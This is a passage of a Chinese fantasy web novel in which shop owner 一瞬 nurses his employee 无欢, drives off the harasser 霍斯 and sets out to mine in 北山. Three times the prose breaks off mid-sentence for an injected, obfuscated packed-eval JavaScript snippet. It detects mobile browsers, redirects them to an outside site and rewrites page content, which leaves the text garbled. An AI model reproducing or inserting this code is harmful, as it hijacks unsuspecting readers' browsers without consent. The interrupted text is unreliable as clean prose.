他听见开门的声音,却没有抬头,只是那么跪着,眼睛盯着地面一动不动,和昨晚在铃铛家时如出一辙。 就好像这一夜他从未移动过分毫。 10. 早晨 一瞬盯着无欢看了几秒,忽然被气笑了。 他上前去,不由分说地伸手穿过无欢腋下,像拎一只不情不愿的猫似的把人从地上拽了起来。无欢的身体比在贫民窟初遇时重了一些,但从外表完全看不出来,站起来以后还有些扭扭捏捏的,视线固执地黏在地面上,一副还想再跪下去的样子。 不知道他在七层时到底过的是什么样的生活,一瞬也不敢直言去刺激他,只问道:“一晚上没睡?” 无欢点头。 一瞬:“困吗?” 无欢看了他一眼,嘴唇抿成一条直线,没有回应。 一瞬拍了拍床沿,让他坐下。无欢犹豫了片刻后,坐到了他边上。他的背挺得笔直,双手规矩地放在膝盖上,像个犯了错等待惩罚的孩子。 “伤口处理好了吗?” “……好了。” “疼吗?” “还好。” 一瞬想起了今晚在铃铛家门口,无欢临走时那个欲言又止的神情:“你今天是不是有什么话想和我说?” 无欢眨了眨眼,又不说话了。 一瞬看着他,他看着地面。 最终一瞬先一步熬不住了,钻进床铺里要睡觉。昨天一天,他跑了十几里地去找萧余阳,回来以后又和无欢打了一架,最后还熬了个通宵。现在他感觉自己的眼皮重得像灌了铅。 他躺下来,手指无意识地绕着无欢的长发。那发丝比想象中还要柔软,血腥味已经在夜色中被洗净,此刻只剩下淡淡的松香味——是在万事屋旁边的小松林里沾上的吗? 一瞬迷迷糊糊地想着。他才躺下,眼皮就开始打架了。 “铃铛……铃铛安全了吗?” 就在一瞬即将昏睡过去的时候,无欢忽然出声了。 “嗯?”一瞬勉强从睡意中挣扎出来,本能地向热源靠近,把额头抵在无欢的腰后,“把她送到白雪那儿了,控狼的蠢货也抓到了,不用担心。我让他明天把赔偿费送到万事屋,你到时候见了他,可以骂他几句解解气。” 无欢的身体微微僵硬了一下,但很快又放松下来。他沉默了几秒后,低低出声:“抱歉,第一个工作没有完成。” “不是第一个工作吧。”一瞬的眼睛已经闭上了,他的声音越来越含糊,嘴唇几乎不怎么动,“只是第一个单人工作而已……没事的,无欢。睡觉吧……” 一瞬的话渐渐变成了模糊的呓语,手指还松松地勾着无欢的一缕头发。 “这里有我护着你呢,没事的,睡觉吧……” 最后几个字几乎消失在呼吸间。 一瞬的胸口开始均匀地起伏,温热的气息透过衣料传来,轻轻拂在无欢的腰侧。他的眉头舒展开了,嘴角还挂着一点若有若无的弧度,像是说着说着话就自己先走神做了个好梦。 无欢低头看着他。 晨光很淡,落在床铺上像一层薄纱。一瞬的脸埋在枕头和他的腰之间,半张脸被头发遮住了,露出的那半张显得安静又年轻,和白天那个嬉皮笑脸、精打细算的万事屋老板判若两人。 无欢的眼波微微漾了一下,随后肩膀一寸一寸地松了下来。那根一直绷着的弦,像是被轻轻拨了一下,嗡鸣了很久,终于慢慢归于沉寂。 晨曦漫过两个人的身影,将它们叠在一起,像一片安静的水,漫过两块挨得很近的石头。 * 一瞬这一晚……不,是这一天睡得并不好,他做了噩梦,梦中他似乎被关在了一个窄小的箱子里,怎么也无法逃脱。他挣扎着醒来的时候,感觉到怀里好像窝了一团温热的东西,身后紧贴的墙壁已经被他的体温捂热了。 他眨了眨惺忪的眼,视线慢慢聚焦,然后整个人僵住了。 无欢正安静地睡在他臂弯里。 一瞬的一只手还绕在无欢的长发间,另只手搭在他精瘦的腰侧。而无欢的一只手覆在他手背上,力道很轻,说不清是在推拒,还是一种无意识的依偎。两个人挨得太近了,近到他能感觉到无欢的睫毛偶尔扫过他的锁骨,近到呼吸都交缠在一起。 …… 什么情况?! 一瞬的大脑当场宕机。他虽然素来喜欢看美人,但是天地良心,他这辈子从来没有对任何人上过手,对美人的喜欢也都是停留在欣赏女娲工艺品的层面啊! 他屏住呼吸,小心翼翼地往回抽手。这张单人床对两个成年男人来说实在太勉强了,他连翻身的余地都没有,几乎整个人都被无欢压住了半边。 更让他意外的是,无欢平时睡眠极浅,他翻个身都可能会把人惊醒。可今天不知怎么的,无欢睡得很沉,眉心微微舒展着,呼吸匀长而柔软。 一瞬艰难地挪动身体,每一次摩擦都让他更真切地感受到怀里的温度,而无欢只是微微蹙了蹙眉,丝毫没有要醒来的意思,反而像是寻着热源似的,又往他怀里蹭了蹭。 一瞬几乎要窒息了。 等他终于撑着手臂坐起来的时候,低头一看,整张脸腾地红了。 他发现自己竟然可耻地起了反应。 阳光透过窗帘缝隙照进来,把这场意外的亲密照得无所遁形。一瞬懊恼地抓了抓头发,这下真是跳进宣河也洗不清了。 他轻手轻脚地跨下床,替无欢掖好被子以后,逃也似的离开了房间。他没有睡太久,现在不过是中午。冷静下来以后,他随手抓了个面包便匆匆出了门。 事务所里没有预留的委托,闲来无事,一瞬便干脆去了后山。女巫药铺的药材价格和抢劫没什么区别,他宁愿自己去摘。 等他回来的时候,无欢已经醒了,桌上剩下的面包也被吃掉了。 一瞬愣了一下,把方才摘回来的药草丢进厨房,让魔法厨具捣碎:“什么时候醒的?” 无欢正倚在窗边,闻言将散落的长发别到耳后,露出精致的侧脸:“听到你出门的声音就醒了。” 要是平时,一瞬一定会多欣赏一会儿无欢的美貌。但今天,他只是轻轻“哦”了一声。他想起了醒来时环抱着无欢的温热触感——比起初见时清瘦的模样,似乎更见柔韧了。 ……手感挺好的。 这个念头让一瞬喉头一紧。他下意识地捂住口鼻,像是要堵住什么不该有的绮念似的,仓促地别开了视线。 “我给你弄了点药。昨晚跪了一夜,膝盖受不了吧?还有手臂上的伤也该换药了。”他顿了顿,又继续道,“你以后也别动不动就跪了。先不说你也没做错什么,就算真做错了什么,也不用这样。咱们这是万事屋,又不是什么黑奴工厂。这要传出去了,那些家伙又得说我是黑心老板,对我们万事屋的名声也不好。” “当然了,我也不全是为了名声。我的意思是,咱们万事屋就这么两个人,小作坊而已。我是你老板没错,但也只能给你派派活儿干,你该有的人权还是你的。比如我给你派了你不喜欢的工作,你完全可以拒绝我。我们两个是平等的,是一样的,你不需要听着我的指令按部就班,也没有谁需要向谁下跪。出了问题,想办法补救就行了。你明白吗?” “嗯。”无欢轻轻点了点头。 得到了肯定的答复,一瞬却还是不能安心。他总觉得无欢和之前一样,听到他的问句,全都无条件肯定。 不过这种观念上的问题也不是一时半刻能解决的,慢慢来就是了,并且从无欢的表现来看,他应该也不是一块撼动不了的顽石。 一瞬这么想着,只觉得前途一片光明,然而他一转头正对上无欢直勾勾望着他的目光,立刻就蔫了下来,心下一紧:“怎么了吗?” 无欢看着他,忽然笑了笑:“你今天的话好多。” 一瞬:“……” 他刚想反驳什么,却猛然发现,无欢这些日子以来眼神中那种机械的空茫感不知什么时候消失了。那双眼睛变得很静、很亮,像一潭死水忽然映进了月光。 这一刻,一瞬脑子里忽然闪过一个荒诞的念头。 这家伙前些日子的表现,该不会也是在试探他是个什么样的领导吧? 一瞬在心里嘀咕着,正盘算怎么反试探回去,魔法厨具也在这时叮叮当当地响了起来。 药材处理好了。 他走过去,把药泥倒进瓦伦娜的魔法药罐里,看着罐子咕嘟咕嘟冒泡,总算找回了一点精神。 好歹这六枚金币没白花。 一瞬向无欢招了招手,后者便过来了。 他替无欢解开绷带,露出底下的伤口。三道爪痕从大臂斜斜划下,最深处还在往外渗着透明的组织液。经过了一夜,伤口边缘已经结了薄薄一层褐色的血痂,衬着周围泛红的皮肤,看着还是有些心惊。 一瞬放轻了语气:“疼吗?” “还好。”无欢回得轻描淡写,一瞬把药汁抹在他伤口处时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555396|204429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸皱成一团,每次触碰到伤口时,他都能感觉到一阵幻痛了,无欢却连眉头都没皱一下。 一瞬问:“昨晚为什么不开灯?你身手这么好,如果视野开阔的话,不是胜算更大吗?” 无欢轻轻“唔”了一声,说:“我的听力和感知能力都不错,在黑暗里也能辨别敌方的位置。只是我没想到那些狼和我一样,在黑暗里一点阻碍都没有。” 一瞬说:“狼是有夜视能力的,能找到你很正常吧!” 无欢愣了一下。 一瞬又说:“铃铛没有拦着你吗?” 无欢揉了揉鼻子,说:“我说我在黑暗里比较强,她很相信我。” 一瞬:“……”以后绝对不能让这两活宝凑对。 一瞬说:“说起来,我还没有问过你,你的魔法是什么呢。” 无欢想了想,说:“我也不知道,可能还没有契机发现。” “行,我知道了。”一瞬说,“没事,现在你加入万事屋了,工作机会这么多,总能发掘你的魔法的。” 在这个世界里,每个人都有魔法,只是有些人的魔法很普通……又或者说,很奇葩。比如一瞬曾经见过一只恶魔,他的魔法是能够让红花变得更香,并且只能是红花,黄花蓝花紫花都不可以。也有不少人一辈子都没有契机发现自己的魔法是什么,就拿那只恶魔做例子,如果他生活在一个没有红花的地方,就永远不知道自己有这个本事。 无欢点了点头,没再说话,视线却一直盯在一瞬脸上。 一瞬察觉到了,轻轻吹了吹无欢的伤口,温声道:“有什么话就说吧。” 无欢说:“可是我觉得万事屋好像也没有特别多的工作。” 一瞬:“……” 无欢说:“大多数还都是跑腿。” 一瞬:“…………”为什么美人不能是哑巴? 一瞬气道:“我不少你工资就是了!还抱怨这么多!” 无欢张了张嘴,一瞬生怕他又要语不惊人死不休,连忙问道:“你昨天的剑是哪儿来的?” 无欢回答:“铃铛家里的。” “剑术不错。”一瞬评价道。 无欢敛了神情,将夸奖听进去了。 谁知一瞬又补了一句:“就是没打中我。” 无欢的脸色沉了下去。 一瞬看着他变脸,没忍住笑出了声:“有时杀气太重了,反而打不中。” “你也会剑术吗?”无欢问。 一瞬想也没想地回道:“不会。” 无欢一愣。昨天他确实招招带着杀气,每一刺都又快又狠,如果没有一点基础的话很难在黑暗中避开他的攻势。他可以感觉到和他对峙的人技艺精湛,无论是走位还是格挡都滴水不漏。可自从对方摔倒过一次以后,就变成了只凭运气在躲他的剑。 无欢想不通中间发生了什么,让一瞬的体术直线下降。但前期那些精密的防守,一招一式都不可能是外行人能做到的。 他明显不信一瞬的话,抬眼看了过来,目光里带着不加掩饰的探究。 一瞬察觉到他的目光,解释道:“你的剑很快,也很利落,但所有攻击都朝着我的心脏或者喉咙。我昨天正好拿着长伞,手腕一动就能挡住。掌握你的攻击节奏以后,很快就能找到破绽。”他顿了顿,又补充了一句,“我好歹也开了这么久的万事屋,遇到过不少危险的事情,这点本能还是有的。” 无欢若有所思地点头,没受伤的那只手轻轻敲着桌面,开始复盘起昨晚的战斗。 一瞬抽了抽嘴角。这家伙虽然跪了一晚上,还做出一副自己罪大恶极的模样,但是明显没有半点对一瞬出手的愧疚。要是自己真的半点剑术、体术不会的话,昨天可就已经成他的剑下亡魂了啊! 一瞬给无欢的伤口上完药,还剩下小半碗药汤就留着,等着明天再用。 他替无欢缠上绷带,绕到最后一圈的时候,万事屋的门忽然被“叩叩”敲响了。 那人敲门的力度不大,甚至还带着几分矜持。 一瞬猜想是哪位小姐来了,清了清嗓子,温和道:“营业中,请进。” 门开了。 进来的是霍斯。 一瞬的脸色当场就变了,嘴角那点营业式的微笑还没来得及收就垮了下去,眼神从“欢迎光临”直接切换成了不耐烦的赶客模式,抱着手臂冷冷地看着他。 11. 姓氏 霍斯昨晚也熬了个通宵,眼睛上两个乌黑的黑眼圈,双腿还在发抖。可是他不敢不来。 皇家的事一向神秘。霍斯从前只知道一瞬是幻造师,觉得这个名头很高大上,又很受国王赏识,除此之外便一无所知了。 但这次回去,他有心打听了一番。虽然没得到多少有效信息,却从族中长者那里听说了一件事——王国唯一的幻造师,姓萧。 萧,这是皇家的姓氏。霍斯不知道一瞬和国王之间有没有亲缘关系,但他很清楚,在这片大陆上,这个姓氏就是食物链的顶端。 霍斯是怀着忐忑和敬畏的心来到事务所的,然而一进门,他的目光就被无欢勾走了。 他跟踪铃铛那几天,一瞬始终挡在他和铃铛之间,他根本没机会靠近,只知道还有个长发的家伙在近身保护铃铛,却从没看清过脸。此刻无欢就坐在窗边,晨光勾勒出侧脸的轮廓,长发散在肩后,像一柄收在鞘里的冷剑。 他虽然不好男色,但是也不得不承认,眼前这个冷若冰霜的美人着实令人移不开眼。 权贵圈里蓄养美人是常事,可像无欢这般精致又危险的,确是平生仅见。 他盯着无欢看了片刻,直到一瞬的脸色肉眼可见地沉了下来,霍斯才猛地打了个激灵,慌忙收回视线。 “大、大人……我来了。” 霍斯讪讪地搓着手。 一瞬看着他,忽然想到了夏天里讨人厌的苍蝇。 他不紧不慢地将绷带缠好最后一圈,打了个精致的结,语气没有半点起伏:“十三枚金币,支付给万事屋。二十七枚,赔偿给铃铛。放下钱就滚。” “大人,您看我把赔款亲自交给铃铛小姐,给她道个歉,比较有诚意——” 一瞬目光一厉。 霍斯立刻噤声。 他从口袋里掏出金币,清铃哐啷堆在桌上。趁着一瞬数钱,霍斯的视线又不受控制地往无欢脸上飘。他瞥得小心翼翼,像偷腥的猫。 无欢从只言片语中已经听明白了——这个猥琐的男人,就是骚扰铃铛的罪魁祸首。 他微微眯起眼睛,眼中的杀意毫不遮掩。他像是一只被闯入领地的雪豹一般,谨慎、凶狠又不畏一切。 霍斯后背瞬间冷汗浸透,他丝毫不怀疑,现在只要刺激到这个漂亮美人,他就会扑过来咬断他的喉咙。 他吓得腿都软了。倒是一瞬“善解人意”地把无欢往自己身后挡了挡,巧妙地隔开两人。他看着霍斯,声音平稳:“你姓什么?” 霍斯一怔:“啊?” “姓什么。”一瞬已经有点不耐烦了。 霍斯喉结滚动:“乔普……” 在这个等级森严的王国里,姓氏是贵族与贱民之间最锋利的界碑。底层贱民在贫民窟的泥泞中挣扎求生,连明日果腹的面包都要用尊严去换取,遑论维系什么氏族荣光。 姓氏是贵族的文化,血脉的证明,更是权力的象征。 但此刻,当“乔普”这个姓氏从霍斯口中吐出时,这个曾经庇佑他作恶的护身符,反而成了悬在头上的达摩克利斯之剑。 一瞬在警告他,乔普家族的命运与霍斯的行为紧紧绑在一起。只要以后他还敢对铃铛出手,那么倒霉的就不止是他,还可能会牵连到他的家族。 在这个弱肉强食的世界里,他本可以继续肆无忌惮地掠夺,可现在,他遇到铁板了。 一瞬原本只想点到为止,让霍斯知道自己这里距离铃铛家很近,自己永远会是铃铛的保护伞,那么霍斯也就不敢造次了。可方才霍斯把黏腻的目光在无欢身上流连的模样,实在叫一瞬心生不悦。 “霍斯·乔普。”一瞬慢悠悠地念出这个名字,不像复述,更像警告。他拖长了尾音,每一个音节都像在霍斯心头碾过,把那张本就惨白的脸碾得彻底没了血色。 然后他摆了摆手:“滚吧。” “大、大人……” 霍斯还想说什么,却见一瞬转头望向无欢:“他还不肯走,要不拿他试试新剑吧。” “好。”无欢点点头应下,转头就要去找剑。 霍斯顿时面如土色,连滚带爬地夺门而出,仓皇间还被门槛绊了个狗吃屎。 等霍斯的身影彻底消失在尽头,无欢问道:“他不会再回来了吗?” 一瞬笃定:“不会了。” 无欢点点头,眨了眨眼后又问:“我们哪儿来的剑?” 一瞬:“……” 一瞬认真地想了想:“我去给你弄一把。” * 一瞬是个好老板,虽然他一单赚了十三个金币,只分给无欢一个,却仍然是个热爱员工的好老板。 他看着无欢胳膊上缠着绷带的样子,大发慈悲道:“伤好之前好好休息。” “怎么算好好休息?”无欢问。 一瞬想了想:“别让伤口裂开就算。” 无欢又问:“那我这段时间还要工作吗?” 一瞬说:“都受伤了还工作什么?好好休息。” 于是无欢转头就钻进了苹果森林去找铃铛了。 一瞬只是回屋换件衣服的功夫,无欢就跑没影了。 一瞬抽了抽嘴角。这家伙还怪不客气的。 下午,一瞬去了风车镇,帮花店的兔欢欢修了水管,回来的时候还带了几枝新鲜的玫瑰——当然,是他死皮赖脸让兔欢欢送的。 等他回到万事屋的时候天已经黑了,无欢还没有回来。 房间的花瓶很小,插了三支玫瑰就放不下更多了。一瞬干脆用魔法又变了一个,搁在大厅的桌上。 一瞬有的时候觉得自己的魔法还挺便利的,起码可以省下许多购置家具的钱。 吃完晚餐后,一瞬又伏在案前画了一会儿图纸,等到夜深了也不见无欢回来。 他看了一眼时间,现在已经十点多了。 一瞬知道无欢现在在通缉名单上,但是二层这段时间很平静,根本没有听说过有王国兵在找人。不过为了安全起见,他还是决定亲自去找人。 他把绒毛精灵从小瓶里放出来。精灵抖了抖荧绿色的绒毛,飞入森林深处。 一瞬跟着精灵一路走,一直到了白雪的小木屋前才停下。 精灵在门口来回转了几圈,翅膀洒下点点粉尘,不肯再往前了。 透过窗户,一瞬看到铃铛正捂着嘴笑倒在白雪肩头,无欢慵懒地倚在藤编椅子里,黑发在灯光下泛着柔和的光晕。平日里总是紧抿的嘴唇此刻微微上扬,带着若有若无的弧度。 有这么开心吗? 一瞬腹诽着,收起精灵,抬手敲门。 夜深人静时突然响起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555397|204429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的敲门声让屋内的气氛瞬间凝固。 白雪曾经被毒害过,铃铛也才经历了巨狼袭击,此时两个姑娘的笑容还挂在脸上,身体却已经僵住了。她们的目光不约而同地投向无欢,像两朵被风吹颤的花。 无欢的眼神骤然锐利,他无声地抄起桌上的木筷,在指间灵活地转了个刀花,那根普通的木筷在他手中仿佛成了致命的凶器。 一瞬在门口百无聊赖地等着,屋内静得连脚步声都听不见。但是想到屋子里坐着三个如花似玉的美人,他还是耐着性子再次抬手。 可就在他指节刚要碰到门板时,木门猛地向内弹开! 一股风裹着冷意从他脸侧擦过。一瞬眨了眨眼,视野里只剩一根筷子停在半空中,离他瞳孔不到一掌的距离。 “操?!”一瞬毫无防备,条件反射地后撤半步,如果晚了半秒,这根筷子就会钉进眼眶里。 门完全敞开了。当无欢看清门外站着的人是谁时,手腕一翻及时收势,难以置信地等着一瞬:“怎么是你?!” “无欢!!”一瞬怒喝出声,却在看清那张带着茫然神色的精致面容时,满腔怒火瞬间熄灭。他干咳一声,声音不自觉放软:“很晚了,来接你回万事屋。” 铃铛和白雪闻声赶来,看到一瞬后露出诧异的神色:“一瞬?你怎么来了。” 无欢把行凶用的筷子藏到身后,小声嘟囔:“来接我的。” 两个姑娘相视一笑,眼中闪着促狭的光。 她们偷偷笑着,一瞬读不懂她们的神情,于是把好奇的目光投向无欢,谁知道后者竟然仓促地将视线别开了。 白雪热情地邀请一瞬进屋,一瞬却说太晚了,他将霍斯给的修理费交给铃铛,铃铛也向一瞬道了谢。 一瞬随即看向无欢:“走吧,回家了。” 无欢微微一愣,和两个姑娘告别后,然后跟上了他的步伐:“好。” 无欢跟在一瞬半步后的位置,月光洒在森林小径上,把两人的影子拉得又长又淡。 夜风穿过树梢,带着松针和潮湿泥土的气味,偶尔有几片叶子被风卷起,在脚边打个旋又落下去。 两人静默了一会儿,无欢忽然开口问道:“你怎么会来接我?” 平时无欢和一瞬单独相处时,是不会主动开口说话的。他此刻突然出声,还让一瞬愣了一下。 一瞬回过神来,气笑道:“你不应该在刚见到我的时候就问这个问题了吗?” 无欢挠了挠脸,语气不变:“我忘记了。” 夜深人静。 两人回到万事屋后,一瞬打来温水,仔细地为无欢换好药。瓦伦娜的药罐子确实神奇,才过去了一天而已,狰狞的伤口已经愈合了大半,淡粉色的新肉从边缘慢慢长出来,不需要再缠绷带了。一瞬的指腹轻轻抚过那道痕迹,确认没有渗血,才收回手。 “好了。” 无欢“嗯”了一声,没有说话,自顾自地爬上了床。他侧躺着,把被子拉到下巴,乌黑的长发散在枕头上,像一匹铺开的绸缎。 一瞬吹灭了灯,躺回自己的床上。 黑暗中,他习惯性地说了句:“睡吧。” 没有人回应。枕边传来均匀的呼吸声,轻轻柔柔的,像夜风拂过窗棂。 一瞬弯了弯嘴角,也闭上了眼睛。 12. 北山 接下来的几天,无欢每天都会去找铃铛。等他伤好了以后,每天完成了工作就往森林里跑,几乎每天晚上一瞬都会去森林,把无欢接回来。 平和镇的头版头条也已经从“黑心老板拐带天仙,二层竟然出现圈养美人事件?!”变成了“黑心老板竟摇身一变成奶爸,每天会接可怜美人回家,这一切到底是道德的沦丧还是理性的扭曲还是美人太有手段,已经把黑心老板玩弄于股掌之间?!” 对于新的一期板报,一瞬表示,如果不是因为没有落款人,他一定要找到写出这种丧心病狂标题的家伙,好好讲讲道理。 平和镇是一座多么美好的小镇啊!怎么尽是这些传播谣言的家伙?! 除了黑白不分的板报以外,还值得一提的是无欢的改变。 无欢的改变是显而易见的,毕竟连小道头条对他的称呼都从“圈养美人”变成了“可怜美人”,甚至还倒反天罡,说他要将黑心老板玩弄于股掌之间。 自从霍斯和巨狼事件结束以后,那个事事都要征得一瞬同意才肯行动的无欢就消失了。现在的无欢,只要没有工作,随时都可能不见。偏偏他走路像猫一样,一点声音都没有。有时一瞬只是转身倒杯茶的功夫,再回头时院子里已经空无一人。 一瞬偶尔会跟他抱怨,说你好歹是万事屋的员工,总不能总是一走了之吧。 无欢也会回怼他,说万事屋根本没有工作,他只能去联络一下邻里之间的感情了。 对此一瞬连反驳的话都说不出,毕竟万事屋还真的没什么工作。 不过,一瞬还是很好奇,无欢每天到底都去做什么了。 有一晚,一瞬特地早去了白雪的小屋,他想知道他们每天都在做什么。他偷偷地蹲在窗边,温暖甜腻的苹果派香气透过窗缝飘散出来。 有一晚,他特地早去了白雪的小屋,想看看他们每天都在干什么。他偷偷蹲在窗边,温暖甜腻的苹果派香气透过窗缝飘散出来。 屋里,白雪正专注地守着烤箱,铃铛拿着一本书,和无欢的脑袋凑在一起,似乎在给他讲解什么。 一瞬知道铃铛的魔法,她的阅读速度惊人,一本板砖厚的书,十分钟就能看完,并且过目不忘。 可她现在却在一页页翻着书,是在给无欢讲解什么吗? 一瞬心里好奇得很,但为了不暴露自己偷蹲窗根的事,硬是没问出口。无欢也从来没主动提过,于是两人默契地在这件事上达成了保密协议。 半个月后,铃铛的小屋翻新结束,重新搬回去了。无欢的每日行程也随之改变,从白雪家转战到了铃铛家。 「一家万事屋」到铃铛家不过几分钟的路程,一瞬仍然每天雷打不动地去接人。 铃铛揶揄过他:“怎么这么近还每天都要来接?” 一瞬不满道:“要是某人记得回去的话,我也不会每天都来。” 话虽这么说,但他也没真的管过无欢的私生活。更何况,这段时间他也很忙,忙得都没有时间去骚扰猫壹猫贰了。 这半个月里,万事屋虽然没什么工作,雨却下了好几场。油纸伞卖得很快,他只能频频往一层跑,找萧余阳进货。 至于其余的时间嘛—— 这天,无欢刚完成一个跑腿的委托,正要出门去找铃铛,就看见一瞬回来了。 一瞬见他要出门,直接抬手拦下:“你先别出门了,有个紧急工作。” “紧急工作?”无欢立刻停下脚步,跟着一瞬进了屋。 一瞬拧着眉,脸上带着少见的凝重。无欢很少在他脸上看到这种表情,也不由自主地紧张起来。 一瞬回了房间,无欢就在客厅等着。没过一会儿,一瞬拎着一个小白布袋走了出来。布袋口露出几把铲子和一把小镐的柄,看起来还是崭新的。 两人的房间里没什么冗余的东西,无欢记得很清楚,这个白色布袋他以前从未见过。 无欢问:“我们要去做什么?是谁的委托?” “我的委托。”一瞬说,“去北山的矿洞里挖点矿石。” 无欢愣了一下:“你要改行挖矿石赚钱了吗?” “那倒不是。”一瞬把布袋往肩上一甩,“我这人运气差,干不了这种要运气的活儿。” 矿石这东西藏在山壁里,看不见摸不着,全凭感觉下镐。运气好了,一镐下去就是晶亮的矿脉;运气不好,挖上一天也全是石头疙瘩。运气再好些的,兴许能碰上一两块宝石。 不过宝石在这片大陆上也算不上多值钱,要靠挖矿发财,还不如在门口种两垄窝瓜来钱快。 无欢听完,沉默了一会儿,又问:“那我们为什么要去挖?” 一瞬听出了他的言外之意——这小子是在拐着弯说他无利不起早呢。 “需要一块极光石,”一瞬说,“矮人铺子里没有,让我自己去北山挖。” “你要极光石做什么?” 一瞬看了他一眼,眼神飘忽地支吾了片刻:“送人用的。我本来也不想麻烦你,但我运气太差了。极光石很稀少,要是我一个人去,肯定找不到。” 无欢了然地点点头,又问:“那这次任务算正式任务吗?有额外提成吗?” 一瞬无语。 他确实说过任务会给无欢提成的话。虽然黑心老板一如既往稳定发挥,一个银币的工作,由无欢完成的话,他只会分出去一个铜币;两个银币的工作,分两个铜币。至于那些能赚金币的大单子,大多是一瞬亲自完成的。 可这是自家的任务啊,也要给钱吗?! 一瞬陷入了沉思。 无欢见他这样,估摸着是不舍得花钱。但他转念一想,自从在水域边和一瞬相遇以来,这人帮了自己不少忙。从报恩的角度来说,他也不能光看钱办事。 但是从报恩这一块儿来说,他也不能光看钱办事。 嗯…… 应该是不能的。 起码平和镇居民对一瞬这种满脑子都是钱的个性是嗤之以鼻的。 无欢现在还没有别层的通行证,就算他未来去到了更高的大陆层,他也得在弄到了新的通行证后回到平和镇来找一瞬帮忙制卡。 他可不能像一瞬一样染了一身铜臭味,惹这里的居民厌烦了。 这么想着,倒是无欢先一步想通了。 “好,那我跟你一起去。”他说,“不过我的运气也不好,你不要抱太大希望就是了。” 一瞬闻言,立刻面露喜色,从包里掏出一副全新的挖掘装备,用白布仔细裹好了,双手递给无欢,还赞许地拍了拍他的肩膀。 “好!不愧是我一家万事屋的员工,就是有这种不为钱财的魄力!” 无欢拿着装备,面上无动于衷,心里却冷笑了一声。那大概是因为为钱财折腰的特质已经被老板包揽了吧。 一瞬紧接着从门口的箱子里摸出一颗南瓜。 那南瓜不过巴掌大,离开箱子时便开始膨胀,等落到地上,已经变得像澡盆那么大了,坐下两三个人绰绰有余。 南瓜车是二层人民出行的普遍方式,反正这样的交通工具,无欢没有在一层见过。 这东西说是“车”,其实既没有顶篷也没有轱辘,全靠离地一厘米的低空飘浮,速度跟跑步差不多,但胜在省时省力,南瓜还能打开储物,是二层人民出远门的必备品。听铃铛说,很久以前蔚莱还流行过魔法飞毯,飞得快飞得高,非常便利,只是不知什么原因忽然销声匿迹了。 无欢很少使用南瓜车,他觉得坐在这东西上很糗。那种感觉像被人推上舞台,却不知道自己要演什么,两只手都不晓得该往哪儿搁。但二层居民几乎人手一辆南瓜车,他只能自我催眠说这都是正常行为,强迫自己不去在意四面八方涌来的风和偶尔擦肩而过时路人的目光。 等到南瓜车完全膨胀,稳稳当当落了地,一瞬率先跳了上去。 阳光正好落在他肩上,把他的轮廓镀上一层薄薄的金色。他转过身,朝无欢伸出手,掌心向上,五指微微张开。 “走吧,”他嘴角噙着一点笑意,说,“我相信你的运气一定很好。” 无欢仰头看着他。 那双黑眸里没有什么明显的情绪,只是安静地看着一瞬,像一池没有风过的水。可不知是不是一瞬的错觉,他总觉得那双眼睛在望向他的时候微微晃了晃,像是被什么东西轻轻拨动了一下,又像是透过他,在看什么遥远的事情。 无欢犹豫了片刻,把手放了上去。 一瞬没有深想。无欢是从七层下来的,经历过什么可怕的事情都说不准。但是二层是一处毋庸置疑的世外桃源,这里没有王国兵,没有压迫,只有蓝天白云和海浪滚滚。 二层可以治愈好无欢的所有伤痛。 就像从前,无欢也一点一点卸下了对他的防备那样,他可以在这里忘记所有的前尘往事。 一瞬握住无欢的手,将人拽上了南瓜车。两人并肩坐下后,他拍了拍南瓜,南瓜便晃晃悠悠地浮起来,调转方向,朝着北山出发。 * 北山顾名思义在二层大陆的最北边,穿过两条分界线后就能到达。 分界线,是横跨在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555398|204429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地面上的一道裂痕。 像是有人把原本连在一起的大地硬生生撕开了,又重新拼接到一起,接缝处参差不齐,岩石的纹理对不上,植被的种类也对不上,只有一道漆黑的沟壑覆盖在地面上。一侧是平整的土地,另一侧可能就隆起一道山脊;这边还长着青翠的野草,跨过那条线,就变成了灰白的碎石和矮灌木。 没错,不是过渡,是断层,像两块打碎了又重新拼起来的瓷片,接缝处永远留着一道无法抹平的疤。 不过,也是由于分界线的存在,才会让二层有了丰富的生态。 平和镇所在的版块气候分明,夏天热得蝉鸣不止,冬天冷得呵气成霜。而一跨过分界线进入北山的地界,气温便降了下来,空气清冽直钻鼻腔。 远处的山峰拔地而起,山顶覆着终年不化的积雪,在阳光下白得发亮。雪线以下是裸露的灰褐色岩壁和层层叠叠的暗绿色针叶林,越往山脚树林越密,深深浅浅的绿色铺满了整片山坡。 二层大陆除了北山地界,几乎全是宜居带。听说北山这里原先也有居民,但久而久之都搬去了其他地方。 